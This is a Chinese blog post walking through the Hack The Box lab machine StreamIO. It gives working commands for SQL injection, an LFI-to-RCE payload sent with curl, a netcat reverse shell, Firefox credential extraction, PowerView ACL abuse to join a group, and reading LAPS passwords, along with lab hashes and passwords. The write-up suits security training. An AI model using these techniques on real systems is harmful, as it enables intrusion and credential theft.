HTB打靶日记:StreamIO

第一次打靶场打到凌晨四点半,确实难

信息收集:

Tcp协议

nmap -p- -sT --min-rate=1000 -Pn  10.129.66.104

 Udp协议

nmap -p- -sU --min-rate=1000 -Pn  10.129.66.104

nmap -p53,80,88,135,139,389,443,445,464,593,636,3268,3269,5985,9389,49707,54818 -sT -sC -Pn -sV 10.129.66.104

nmap -p123,389 -sC -sV -sU 10.129.66.104

 

发现了域名streamIO.htb与watch.streamIO.htb,加入hosts文件中

53端口 dns协议 ,后尝试了区域传输也没什么发现

 

 389端口 ldap协议,探测其基本信息,并保存在文件中

ldapsearch -H ldap://streamIO.htb  -x -s base -b '' "(objectClass=*)" "*" + >ldap_result.txt

 利用正则将可能存在的子域名取出,并加入hosts文件中

cat ldap_result.txt |grep namingContexts|awk -F '=' '{print $2}' |awk -F ',' '{print $1}'|tail -n 4|sed 's/$/.streamIO.htb/' |tr '\n' ' '

445端口 smb协议

尝试免密登陆失败,但是发现了一个子域名,加入hosts文件中

80、443端口

80端口是默认的iis页面,没什么价值

443端口,在/index.php与/about.php下发现了几个用户名加入用户字典中

 

 尝试fuzz目录,发现了admin目录,不过目前没什么用

wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/common.txt -u https://streamio.htb/FUZZ --hc 404 -t 100

 在用户登陆的位置尝试sql注入

 

 获取了很多hash

 将hash整理一下

 

利用得到的hash尝试crackmapexec尝试smb协议爆破

写了两个循环,可能是环境问题,crackmapexec在批量爆破时总会出现问题,可惜没有一个成功的

 对这些hash利用john解密(出了点问题,不过问题不大)

利用得到的密码对web的登陆界面开始爆破

发现用户yoshihide,密码:66boysandgirls.. 可以成功登陆

 再次访问admin目录

 发现了/?后需要有一个参数

 开始fuzz参数名,发现了参数debug

wfuzz -c -u 'https://streamio.htb/admin/?FUZZ' -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -b 'PHPSESSID=rkhp04qqaclokvmcni6tb34juh' --hh 1678

 发现其存在LFI漏洞,成功包含了index.php

 base64解码后发现了数据库账户密码

 对https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource= ,后的文件进行fuzz,发现了master.php文件

wfuzz -c -u 'https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=FUZZ' -w /usr/share/seclists/Discovery/Web-Content/SVNDigger/cat/Language/php.txt -b 'PHPSESSID=rkhp04qqaclokvmcni6tb34juh' --hh 1712

 利用正则读取了maste.php的内容

 发现该php文件中存在eval,并且检查后发现file_get_contents存在rce漏洞

 创建system($_GET['cmd']);

 终于rce了

curl -k  "https://streamio.htb/admin/?debug=master.php&cmd=ping+10.10.16.2"  -H 'Cookie : PHPSESSID=rkhp04qqaclokvmcni6tb34juh' --data-binary "include=data://text/plain;base64,c3lzdGVtKCRfR0VUWydjbWQnXSk7" -s

 上传nc后反弹shell

 

 因为之前在index.php中发现了mssql数据库的账户密码,尝试端口转发读取数据库中的全部内容

利用sqsh登陆

 

 在users表下发现了一堆hash

 nikk37          389d14cb8e4e9b94b137deb1caf0612a
 yoshihide       b779ba15cedfd22a023c4d8bcf5f2332
 James           c660060492d9edcaa8332d89c99c9239
 Theodore        925e5408ecb67aea449373d668b7359e
 Samantha        083ffae904143c4796e464dac33c1f7d
 Lauren          08344b85b329d7efd611b7a7743e8a09
 William         d62be0dc82071bccc1322d64ec5b6c51
 Sabrina         f87d3c0d6c8fd686aacc6627f1f493a5

用john爆破发现解密出了一个明文密码

 5985端口开放,利用evil-winrm成功登陆

 利用winpeas发现了key4.db

 利用impacket-smbserver创建smb服务,进行文件传输

 将logins.json与key4.db一起移到firepwd目录下,运行firepwd.py成功破解账户密码

将发现新的账户密码收集起来开始爆破smb协议,发现了JDgodd的密码,可惜无法利用evil-winrm登陆

利用Bloodhound发现jdgodd可用添加到Core Staff组内并且可用ReadLAPSPassword能读取LAPS的密码

【将添加方法记在笔记里,碰到的时候拿来改个账户密码域名就行了,会一点powershell,还是有帮助理解的】

$pass = ConvertTo-SecureString 'JDg0dd1s@d0p3cr3@t0r' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('streamio.htb\JDgodd', $pass)
Add-DomainObjectAcl -Credential $cred -TargetIdentity "Core Staff" -PrincipalIdentity "streamio\JDgodd"
Add-DomainGroupMember -Credential $cred -Identity "Core Staff" -Members "StreamIO\JDgodd"

 已经添加到Core Staff组内

 成功获取了LAPS的密码

crackmapexec ldap streamio.htb -d streamio.htb -u 'JDgodd' -p 'JDg0dd1s@d0p3cr3@t0r' -M laps

 利用evil-winrm 成功登陆administrator用户

最后发现root.txt在Martin用户的桌面上(到最后该非得恶心一下)

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值